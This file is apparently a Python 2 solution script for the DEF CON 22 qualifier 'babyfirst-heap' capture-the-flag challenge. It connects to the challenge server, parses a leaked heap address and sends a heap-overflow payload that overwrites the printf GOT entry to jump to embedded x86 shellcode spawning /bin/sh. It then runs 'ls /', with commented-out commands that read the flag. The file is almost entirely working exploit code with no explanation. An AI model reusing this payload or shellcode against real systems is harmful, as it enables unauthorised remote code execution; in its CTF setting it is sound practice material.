dc22qual_heap_exploit.py

#!/usr/bin/python
#coding: utf-8
 
import	socket
import struct
 
host = 'babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c.2014.shallweplayaga.me'
port = 4088
 
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
 
sock.recv(1024)
data = sock.recv(1024).split("\n")[16].split("[")[2].split("]")[0][4:]
 
addr=struct.pack("<L",int(data,16)+8)
print_got=struct.pack("<L",0x804c004-8)
 
# shell code(exec to /bin/sh)
shellcode = "\xeb\x06\x90\x90\x90\x90\x90\x90"
shellcode += "\x54\x59\x6a\x7f\x54\x51\x6a\x7f\x54\x59\x6a\x07\x5b\xff\x09\x6a"
shellcode += "\x66\x58\xcd\x80\x85\xc0\x75\xf5\x5b\x6a\x02\x59\x6a\x3f\x58\xcd"
shellcode += "\x80\x49\x79\xf8\x41\x31\xd2\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
shellcode += "\x62\x69\x89\xe3\x6a\x0b\x58\xcd\x80"
 
buf=""
buf+=print_got+addr+shellcode
buf+="A"*(260-len(buf))
buf+=struct.pack("<L",0x00000379-1)
 
sock.sendall(buf+"\n")
 
sock.recv(1024)
sock.recv(1024)
 
sock.sendall('ls /\n')
# sock.sendall('ls -R /home\n')
# sock.sendall('cat /home/babyfirst-heap/flag\n')
 
print sock.recv(1024)